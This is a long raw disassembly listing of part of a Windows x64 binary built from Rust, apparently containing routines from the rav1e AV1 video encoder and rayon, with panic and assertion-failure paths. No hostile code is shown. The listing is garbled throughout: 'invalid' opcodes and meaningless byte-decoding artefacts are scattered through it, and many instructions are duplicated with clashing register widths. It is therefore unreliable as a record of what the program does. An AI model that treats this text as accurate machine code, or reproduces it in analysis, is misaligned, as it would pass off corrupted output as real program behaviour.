add byte [rbx + rcx*4 - 0x63], cl
popfq
adc byte [0xcc1e2a45], dh
invalid
scasb al, byte [rdi]
or al, 0
invalid
mov rdx, qword [r9 + 0x10]
lea r8, [rdi + r12]
add r8, rax
cmp r8, rdx
ror byte [rdi], 1
invalid
mov dl, 0xc
add byte [rax], al
mov r10, qword [rbp + 0x3680]
add rcx, r10
lea r8, [rcx + r11]
cmp r8, qword [r9 + 0x18]
jg 0x1400f3727
add byte [rax], al
mov r8, qword [r9]
imul rcx, rdx
lea rcx, [r8 + rcx*2]
or al, 0x48
lea rax, [rcx + rax*2]
lea rax, [rax + r12*2]
mov qword [rbp + 0x31c8], rax
mov rax, qword [rbp + 0x3518]
mov qword [rbp + 0x31c0], rax
add byte [rax], al
mov qword [rbp + 0x31d0], r12
mov qword [rbp + 0x31d8], r10
mov qword [rbp + 0x31e0], rdi
mov qword [rbp + 0x31e8], r11
jmp 0x1400f2adc
lea rax, [rbp + 0x31c8]
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
and qword [rax + 0x20], 0
mov rax, qword [rbp + 0x3518]
mov qword [rbp + 0x31c0], rax
lea rax, [rbp + 0x31c0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x33d0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x188
mov ecx, ebx
mov edx, esi
mov r8, qword [rbp + 0x3600]
add byte [rsi], dh
add byte [rax], al
lea r9, [rbp + 0x3620]
call fcn.1400f4dc7
mov r8, qword [rbp + 0x3318]
inc r8
dec qword [rbp + 0x34e8]
call 0x18c0f2b5a
mov edi, dword [rbp + 0x3688]
mov rdi, qword [rbp + 0x3330]
mov rcx, qword [rbp + 0x3328]
jmp 0x1400f2340
invalid
mov rax, qword [rbp + 0x33b0]
lea r12, [rbp - 0x40]
jmp 0x1400f21f9
mov rdx, qword [rbp + 0x33b8]
mov r9, qword [rbp + 0x33c0]
add byte [rax], al
mov rax, qword [rbp + 0x33c8]
jmp 0x1400f2111
cmp byte [rax + 0x26d], 0
mov rax, qword [rbp + 0x36a8]
je 0x1400f2cb7
mov rdx, qword [rax + 0x4b8]
add rdx, 0x10
lea rcx, [rbp + 0x2b00]
call fcn.140091c23
mov rcx, qword [rbp + 0x36a8]
mov rax, qword [rcx + 0x4b8]
mov rdi, qword [rax + 0x30]
mov rbx, qword [rax + 0x38]
mov rdx, qword [rcx + 0x4c0]
lock inc qword [rdx]
jle 0x1400f3768
mov qword [rbp + 0x33d0], rdx
add rdx, 0x10
lea rsi, [rbp + 0x2e50]
mov rcx, rsi
call fcn.14009d7be
dec dword [rax - 0x73]
adc eax, 0x15476c
mov rcx, rsi
call fcn.14009d90e
and dl, 1
mov byte [rbp + 0x3698], dl
mov qword [rbp + 0x3690], rax
add byte ss:[rax], al
add rax, 0x10
mov rdx, qword [rbp + 0x36a8]
mov rcx, qword [rdx]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rdi
jl 0x1400f2c34
sub byte [rax - 0x77], cl
and al, 0x20
lea rcx, [rbp + 0x2e50]
xor r8d, r8d
xor r9d, r9d
call fcn.1400906c0
lea rcx, [rbp + 0x3570]
jo 0x1400f2c62
add byte [rax], al
mov rsi, qword [rcx + 0x10]
mov rdi, qword [rcx + 0x18]
call fcn.1400b94fb
test rdx, rdx
je 0x1400f32ec
movups xmm0, xmmword [rbp + 0x3580]
lea r8, [rbp + 0x31c0]
mov qword [r8], rax
xorps xmm1, xmm1
movups xmmword [r8 + 8], xmm1
or byte [rcx - 0x77], cl
jo 0x1400f2c7a
mov qword [r8 + 0x20], rdi
and byte [rcx + 0xf], al
adc dword [rax + 0x28], eax
lea r9, [rbp + 0x2f70]
lea rdx, [rbp + 0x2b00]
mov rcx, r15
call fcn.1400f61e8
lea rcx, [rbp + 0x2e50]
lea ecx, [rbp + 0x2e50]
call fcn.1400880b1
mov rcx, qword [rbp + 0x3690]
mov dl, byte [rbp + 0x3698]
cwde
add byte ss:[rax], al
call fcn.14009d783
lea rcx, [rbp + 0x33d0]
call fcn.14009aea4
lea rcx, [rbp + 0x2b00]
call fcn.140091f95
fdivrp st(2)
stc
invalid
mov rdi, qword [rbp + 0x35a0]
test rdi, rdi
je 0x1400f3619
or dword [rax], eax
invalid
mov rsi, qword [rbp + 0x3598]
mov r14, qword [rsi + 0x10]
cmp rdi, 1
jne 0x1400f2d08
xor r8d, r8d
jmp 0x1400f2d4e
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
push 7
pop rcx
mov rdx, rcx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
push 7
pop rdx
call fcn.1401c6eb0
or eax, 0xa60e900
add byte [rax], al
imul rax, rdi, 0x18
add rax, 0xffffffffffffffe8
xor r8d, r8d
push 0x18
pop rcx
xor edx, edx
div rcx
neg rax
lea rcx, [rsi + 0x28]
push 1
pop rdx
mov r9, r14
mov r10, qword [rcx]
cmp r9, r10
cmovbe r9, r10
cmovbe r8, rdx
cmovbe r14, r10
lea r10, [rax + rdx]
lea edx, [rax + rdx]
inc r10
inc rdx
add rcx, 0x18
cmp r10, 1
jne 0x1400f2d28
cmp byte [r15 + 0x323], 0
jne 0x1400f2d9d
mov rax, qword [rbp + 0x36a8]
mov qword [rax + 8], r8
mov rcx, qword [rbp + 0x34b0]
mov rdx, qword [rbp + 0x34b8]
call fcn.1400b70f3
mov rcx, qword [rbp + 0x36a8]
lea rbx, [rcx + 0x4c8]
mov r8d, 0x2b34
mov rcx, rbx
mov rdx, rax
call sub.VCRUNTIME140.dll_memmove
mov rcx, rbx
call fcn.1400743b8
push 0x47
pop rax
test r14, r14
je 0x1400f2db4
invalid
bsr rcx, r14
xor rcx, 0x3f
mov qword [rbp + 0x3500], rcx
sub rax, qword [rbp + 0x3500]
shr rax, 3
mov rcx, qword [rbp + 0x36a8]
lea ebp, [rax - 0x76ffffca]
cmp esp, 0x4800002f
mov ecx, dword [rbp + 0x35f8]
mov rdx, qword [rcx + 0x190]
mov r8, qword [rcx + 0x198]
add dword [rax], eax
add byte [rcx + 0x48282444], cl
mov dword [rsp + 0x20], edi
lea rcx, [rbp + 0x2b00]
mov r9, rsi
call fcn.14007863f
lea rcx, [rbp + 0x3590]
lea edx, [rax - 0x17ffffcb]
or bl, byte [rsi - 0xf]
dec dword [rax - 0x75]
lea ebp, [rax + 0x48000034]
mov edx, dword [rbp + 0x34b0]
call fcn.1400b70ca
mov rcx, qword [rbp + 0x3570]
mov rdx, qword [rbp + 0x3578]
call fcn.14009aff7
cmp dword [r15 + 0x2ec], 0
jne 0x1400f2e4d
lea rcx, [rbp + 0x3608]
mov rdx, r15
call fcn.1400aef5d
test rax, rax
jne 0x1400f373f
imul rdi, qword [r15 + 0xe8], 0x18
mov rbx, qword [r15 + 0xe0]
add byte [rax], al
add byte [rax + 1], cl
fisttp word [rax - 0x73]
lea esi, [rbp + 0x2e50]
add byte [rax], al
add byte [rax + 1], cl
fisttp word [rax - 0x73]
lea esi, [rbp + 0x2e50]
lea esi, [rbp + 0x2e50]
lea r14, [rbp + 0x3608]
cmp rbx, rdi
je 0x1400f2ed8
and qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 1
mov dword [rbp - 0x38], 1
add byte [rax - 0x39], cl
enter 1, 0
add byte [rax], al
and qword [rbp - 0x30], 0
mov dword [rbp - 0x38], 1
add byte [rax], al
and qword [rbp - 0x30], 0
mov qword [rbp + 0x2e50], r12
and dword [rbp + 0x2e58], 0
add byte [rax], al
mov byte [rbp + 0x2e5c], 0
test dword [rsi + rbp], ebx
add byte [rax], al
add byte cs:[rax], al
add byte [rax - 0x77], cl
mov ecx, esi
mov rcx, rsi
mov ecx, esi
mov rdx, rbx
call fcn.1400b160a
test rax, rax
jne 0x1400f335a
mov rdx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x30]
mov eax, dword [rbp - 0x30]
mov eax, dword [rbp - 0x30]
add r8, rdx
mov rcx, r14
ror byte [rcx + rcx*4 - 0xf], 1
call fcn.140004b33
and qword [rbp - 0x30], 0
add rbx, 0x18
mov rcx, qword [rbp - 0x40]
mov ecx, dword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
call fcn.1400373d1
jmp 0x1400f2e6d
push rbp
enter 0xfffffffffffffbe8, 0x44
hlt
and qword [rbp + 0x2e50], 0
push 1
pop rax
mov qword [rbp + 0x2e58], rax
mov dword [rbp + 0x2e58], eax
mov dword [rbp + 0x2e58], eax
add byte cs:[rax], al
and qword [rbp + 0x2e60], 0
and qword [rbp - 0x40], 0
mov qword [rbp - 0x38], rax
and qword [rbp - 0x30], 0
lea rcx, [rbp + 0x31c0]
lea ecx, [rbp + 0x31c0]
lea ecx, [rbp + 0x31c0]
mov qword [rcx], r12
and dword [rcx + 8], 0
or byte [rax], al
or byte [rax], al
mov byte [rcx + 0xc], 0
mov rax, qword [rbp + 0x34f8]
mov r9b, byte [rax + 0x20]
mov al, byte [rax + 0x21]
and dword [rax + 0x4c202444], ecx
mov edx, edi
and dword [rax + 0x4c202444], ecx
mov edx, edi
mov r8, qword [rbp + 0x36a8]
call fcn.1400af8ea
test rax, rax
test eax, eax
test dword [rax - 0x17ffffca], ebp
mov bh, 0xc9
sti
dec dword [rax - 0x7b]
test eax, eax
invalid
test esi, ebp
invalid
test eax, eax
jne 0x1400f362a
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp + 0x31c0]
mov qword [rcx], rsi
and dword [rcx + 8], 0
mov byte [rcx + 0xc], 0
mov dl, 6
call fcn.1400b150b
mov dh, 0xe5
sti
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
std
invalid
add byte [rax], al
mov dh, 0xe5
sti
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
std
invalid
mov rdx, qword [rbp + 0x2e58]
add byte [rax], al
mov r8, qword [rbp + 0x2e60]
add r8, rdx
ror byte [rax - 0x73], 1
lea ecx, [rax]
add byte ss:[rax], al
ror byte [rax - 0x73], 1
lea ecx, [rax]
add byte ss:[rax], al
call fcn.140004b33
and qword [rbp + 0x2e60], 0
lea rcx, [rbp + 0x31c0]
lea ecx, [rbp + 0x31c0]
lea ecx, [rbp + 0x31c0]
mov qword [rcx], rsi
mov dword [rcx], esi
and dword [rcx + 8], 0
mov byte [rcx + 0xc], 0
mov rsi, qword [rbp + 0x2b10]
mov rdx, qword [rbp - 0x30]
add rdx, rsi
add edx, esi
add edx, esi
call fcn.1400b1562
test rax, rax
jne 0x1400f368c
mov rdx, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e60]
add byte [rcx + 1], cl
ror byte [rax - 0x73], 1
lea ecx, [rax]
add byte ss:[rax], al
add byte [rcx + 1], cl
ror byte [rax - 0x73], 1
lea ecx, [rax]
add byte ss:[rax], al
call fcn.140004b33
and qword [rbp + 0x2e60], 0
mov rdx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x30]
mov eax, dword [rbp - 0x30]
mov eax, dword [rbp - 0x30]
add r8, rdx
lea rcx, [rbp + 0x3608]
call fcn.140004b33
and qword [rbp - 0x30], 0
mov rdi, qword [rbp + 0x2b08]
add rsi, rdi
lea rcx, [rbp + 0x3608]
mov rdx, rdi
mov r8, rsi
call fcn.140004b33
mov rax, qword [rbp + 0x3618]
mov rcx, qword [rbp + 0x3350]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x3608]
movups xmmword [rcx], xmm0
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
call fcn.1400373d1
mov rcx, qword [rbp + 0x2e50]
mov rdx, qword [rbp + 0x2e58]
call fcn.1400373d1
mov rcx, qword [rbp + 0x2b00]
mov rdx, rdi
call fcn.1400373d1
movaps xmm6, xmmword [rbp + 0x36c0]
add rsp, 0x3758
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
lea rcx, [rbp + 0x2b00]
push 4
pop r9
mov rdx, qword [rbp + 0x3688]
lea r8, [rbp - 0x30]
call fcn.1400f48d1
add bl, ch
invalid
lea rcx, [rbp + 0x2b00]
push 6
pop r9
mov rdx, qword [rbp + 0x3688]
lea r8, [rbp - 0x28]
call fcn.1400f48d1
add bl, ch
push rsp
lea rcx, [rbp + 0x2b00]
push 5
pop r9
mov rdx, qword [rbp + 0x3688]
lea r8, [rbp - 0xe]
call fcn.1400f48d1
jmp 0x1400f3102
lea rcx, [rbp + 0x2b00]
push 7
pop r9
mov rdx, qword [rbp + 0x3688]
mov r8, rdi
call fcn.1400f48d1
jmp 0x1400f3102
lea rcx, [rbp + 0x2b00]
push 3
pop r9
mov rdx, qword [rbp + 0x3688]
lea r8, [rbp - 4]
call fcn.1400f48d1
mov rdx, qword [rbp + 0x36a8]
mov byte [rdx + 0x30e1], 0
mov ecx, dword [rbp + 0x2b10]
lea eax, [rcx - 1]
mov byte [rdx + 0x30e2], al
cmp ecx, 8
push 8
pop rax
cmovb eax, ecx
add eax, eax
xor ecx, ecx
mov r9, qword [rbp + 0x3688]
mov r8, qword [rbp + 0x36a8]
cmp rax, rcx
je 0x1400f3167
movzx edx, word [rbp + rcx + 0x2b00]
mov byte [r8 + rcx*4 + 0x3000], 1
cmp dx, r13w
cmovle edx, r13d
mov word [r8 + rcx*8 + 0x3040], dx
add rcx, 2
jmp 0x1400f313a
mov rax, qword [r9 + 0x2b8]
mov r8, qword [rax + 0x80]
mov rcx, rsi
mov edx, dword [rbp + 0x3680]
call fcn.14007b355
mov rax, qword [rbp + 0x36a8]
and word [rax + 0x30df], 0
xor eax, eax
mov r15, qword [rbp + 0x3688]
cmp rax, 8
je 0x1400f11c7
xor ecx, ecx
cmp rcx, 8
je 0x1400f31d9
cmp byte [rsi + rcx], 0
je 0x1400f31d4
mov rdx, qword [rbp + 0x36a8]
mov byte [rdx + 0x30e0], al
cmp rcx, 5
jb 0x1400f31d4
mov rdx, qword [rbp + 0x36a8]
mov byte [rdx + 0x30df], 1
inc rcx
jmp 0x1400f31a7
inc rax
add rsi, 8
jmp 0x1400f319b
lea rcx, [rbp + 0x3620]
call fcn.140088106
lea rcx, [rbp + 0x2e50]
call fcn.140091f95
jmp 0x1400f2cab
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
mov rcx, qword [rbp + 0x34d0]
mov rdx, rbx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
push 0x47
pop rcx
mov rdx, rcx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
mov rcx, rbx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 7
pop rdx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 8
pop rdx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
mov rcx, r9
mov rdx, rbx
call fcn.1401c6f20
jmp 0x1400f3768
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
mov rdx, r9
call fcn.1401c7190
jmp 0x1400f3768
lea r8, [rbp + 0x31c0]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x1400f3768
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_segmentation.rs
call fcn.1401c7290
jmp 0x1400f3768
mov rax, qword [rbp + 0x3528]
mov qword [rbp + 0x3690], rax
mov rdx, qword [rbp + 0x3530]
jmp 0x1400f33b3
mov rcx, qword [rbp + 0x3690]
call fcn.1401c66e0
jmp 0x1400f3768
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c7290
jmp 0x1400f3768
lea rcx, str.assertion_failed:_vec.capacity_____start___lenC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_1.10.0_src_vec.rs
lea r8, [0x140264200]
push 0x2f
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rax, [rbp + 0x32e0]
mov qword [rbp + 0x31c0], rax
lea rax, [fcn.140024bb0]
mov qword [rbp + 0x31c8], rax
mov qword [rbp + 0x31d0], r14
lea rdx, str.expected__total_writes__but_got
lea rcx, [rbp + 0x2e50]
mov qword [rcx], rdx
push 2
pop rdx
mov qword [rcx + 8], rdx
and qword [rcx + 0x20], 0
mov qword [rbp + 0x31d8], rax
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], rdx
mov byte [rbp + 0x36b6], 0
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_1.10.0_srcitercollectmod.rsX
call fcn.1401c6e60
jmp 0x1400f3768
mov qword [rbp + 0x36a8], rax
lea rax, [rbp + 0x32e8]
mov qword [rbp + 0x2b00], rax
lea rax, [fcn.140024bb0]
mov qword [rbp + 0x2b08], rax
lea rdx, str.expected__total_writes__but_got
lea rcx, [rbp + 0x2e50]
mov qword [rcx], rdx
push 2
pop rdx
mov qword [rcx + 8], rdx
and qword [rcx + 0x20], 0
mov qword [rbp + 0x2b10], r14
mov qword [rbp + 0x2b18], rax
lea rax, [rbp + 0x2b00]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdx
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_1.10.0_srcitercollectmod.rsX
call fcn.1401c6e60
jmp 0x1400f3768
push 8
pop rcx
mov rdx, rdi
call fcn.1401c66e0
jmp 0x1400f3768
lea rcx, str.assertion_failed:_rect.x_____cfg.xorigin_as_isize_C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tilingplane_region.rs
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, str.assertion_failed:_rect.y_____cfg.yorigin_as_isize_assertion_failed:_cfg.xorigin_as_isize__rect.x__rect.width_as_isize___cfg.stride_as_isizeassertion_failed:_cfg.yorigin_as_isize__rect.y__rect.height_as_isize___n____cfg.alloc_height_as_isizeassertion_failed:_rect.x___0__rect.x_as_usize___self.rect.widthassertion_failed:_rect.y___0__rect.y_as_usize___self.rect.height
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, [0x140241c33]
lea r8, [0x140241be8]
push 0x5c
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, str.assertion_failed:_rect.x_____cfg.xorigin_as_isize_C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tilingplane_region.rs
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, [0x140241c8f]
lea r8, [0x140241be8]
push 0x67
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, str.assertion_failed:_rect.y_____cfg.yorigin_as_isize_assertion_failed:_cfg.xorigin_as_isize__rect.x__rect.width_as_isize___cfg.stride_as_isizeassertion_failed:_cfg.yorigin_as_isize__rect.y__rect.height_as_isize___n____cfg.alloc_height_as_isizeassertion_failed:_rect.x___0__rect.x_as_usize___self.rect.widthassertion_failed:_rect.y___0__rect.y_as_usize___self.rect.height
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, [0x140241c33]
lea r8, [0x140241be8]
push 0x5c
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, str.assertion_failed:_rect.x_____cfg.xorigin_as_isize_C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tilingplane_region.rs
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, [0x140241c8f]
lea r8, [0x140241be8]
push 0x67
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, str.assertion_failed:_rect.y_____cfg.yorigin_as_isize_assertion_failed:_cfg.xorigin_as_isize__rect.x__rect.width_as_isize___cfg.stride_as_isizeassertion_failed:_cfg.yorigin_as_isize__rect.y__rect.height_as_isize___n____cfg.alloc_height_as_isizeassertion_failed:_rect.x___0__rect.x_as_usize___self.rect.widthassertion_failed:_rect.y___0__rect.y_as_usize___self.rect.height
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, [0x140241c33]
lea r8, [0x140241be8]
push 0x5c
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, [0x140241c8f]
lea r8, [0x140241be8]
push 0x67
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c7290
jmp 0x1400f3768
lea r8, [rbp + 0x33d0]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x1400f3768
lea r8, [rbp + 0x33d0]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x1400f3768
lea r8, [rbp + 0x33d0]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x1400f3768
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_segmentation.rs
call fcn.1401c7290
jmp 0x1400f3768
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_segmentation.rs
call fcn.1401c7290
jmp 0x1400f3768
lea rcx, str.assertion_failed:_rect.x_____cfg.xorigin_as_isize_C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tilingplane_region.rs
lea r8, [0x140241d80]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, str.assertion_failed:_rect.y_____cfg.yorigin_as_isize_assertion_failed:_cfg.xorigin_as_isize__rect.x__rect.width_as_isize___cfg.stride_as_isizeassertion_failed:_cfg.yorigin_as_isize__rect.y__rect.height_as_isize___n____cfg.alloc_height_as_isizeassertion_failed:_rect.x___0__rect.x_as_usize___self.rect.widthassertion_failed:_rect.y___0__rect.y_as_usize___self.rect.height
lea r8, [0x140241d80]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, [0x140241c33]
lea r8, [0x140241d80]
push 0x5c
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea rcx, [0x140241c8f]
lea r8, [0x140241d80]
push 0x67
pop rdx
call fcn.1401c6f30
jmp 0x1400f3768
lea r8, [rbp - 0x40]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
ud2
bsr rax, rdx
xor rax, 0x3f
add rax, rcx
add rax, 0xffffffffffffffa2
cmp rax, 0x23
jae 0x1400f8c2f
mov rax, qword [rdi + 0x2b0]
mov rdx, qword [rsp + 0x5b8]
mov rcx, qword [rax + 0x1f0]
mov qword [rsp + 0xa0], rcx
xor ecx, ecx
cmp dword [rax + 0x230], 3
setne cl
and dword [rsp + 0x5c], 0
mov rax, qword [rsp + 0x5b0]
lea rcx, [rcx*2 + 1]
mov qword [rsp + 0xf8], rcx
mov rcx, qword [rsi + 0x18]
mov qword [rsp + 0xd0], rcx
mov rcx, qword [rsi + 0x20]
mov qword [rsp + 0xc8], rcx
add rax, 3
mov qword [rsp + 0xd8], rax
add rdx, 3
mov qword [rsp + 0xe0], rdx
add byte [rbp + 0x31], al
in eax, dx
lea r12, [rsp + 0x60]
xor ebx, ebx
xor edi, edi
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0xf0], r14
mov qword [rsp + 0xe8], r15
cmp rdi, qword [rsp + 0xf8]
je 0x1400f8b4f
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x108], rbx
mov r8d, 0x208
lea rcx, [rsp + 0x138]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x208
lea rcx, [rsp + 0x340]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
imul rdx, rdi, 0x30
mov rax, qword [r15 + rdx]
mov rcx, qword [rax + 0x20]
mov r10, qword [rax + 0x28]
mov rax, r10
or rax, rcx
cmp rax, 2
jae 0x1400f8c17
lea r9, [r15 + rdx]
add rdx, r14
mov qword [rsp + 0xb8], rdx
mov rax, qword [rsp + 0xd8]
sub rax, qword [r9 + 0x10]
shr rax, 2
mov rdx, qword [rsp + 0xd0]
mov edx, dword [rsp + 0xd0]
cmp rdx, rax
cmovb rax, rdx
mov edx, 1
shl rdx, cl
mov r8, rdx
shr r8, 1
add r8, rax
shr r8, cl
mov qword [rsp + 0xb0], rcx
shl r8, cl
mov qword [rsp + 0x88], rdi
and al, 0x88
add byte [rax], al
add byte [rax - 0x73], cl
add dword [r8 - 0x77], r9d
add dword [rax - 0x77], ecx
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0xe0
add byte [rax], al
add byte [rdi + 1], bh
add byte [rax], al
mov qword [rsp + 0x80], r10
add byte [rax], al
mov ecx, r10d
shl rdi, cl
mov qword [rsp + 0xa8], r9
sub rbp, qword [r9 + 0x18]
mov rsi, rdi
shr rsi, 1
mov rcx, r12
mov qword [rsp + 0x118], r8
mov qword [rsp + 0x120], rdx
mov r9, rdx
call fcn.140033724
mov r12, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
inc r15
sub r14, 1
jb 0x1400f8754
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa0]
add byte [rax], al
mov qword [rsp + 0x38], rax
cmp byte [rax - 0x75], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
lea rax, [rsp + 0x138]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x90]
mov rdx, r12
loop 0x1400f8785
xor eax, eax
mov r9, qword [rsp + 0xa8]
call fcn.1400f8c57
add r12, r15
jmp 0x1400f86e0
shr rbp, 2
mov rax, qword [rsp + 0xc8]
cmp rax, rbp
cmovb rbp, rax
add rbp, rsi
mov rsi, qword [rsp + 0x80]
mov ecx, esi
shr rbp, cl
shl rbp, cl
lea r12, [rsp + 0x60]
mov rcx, r12
mov rdx, rdi
mov r8, rbp
mov eax, ebp
mov r9, rdi
call fcn.140033724
mov rax, qword [rsp + 0x60]
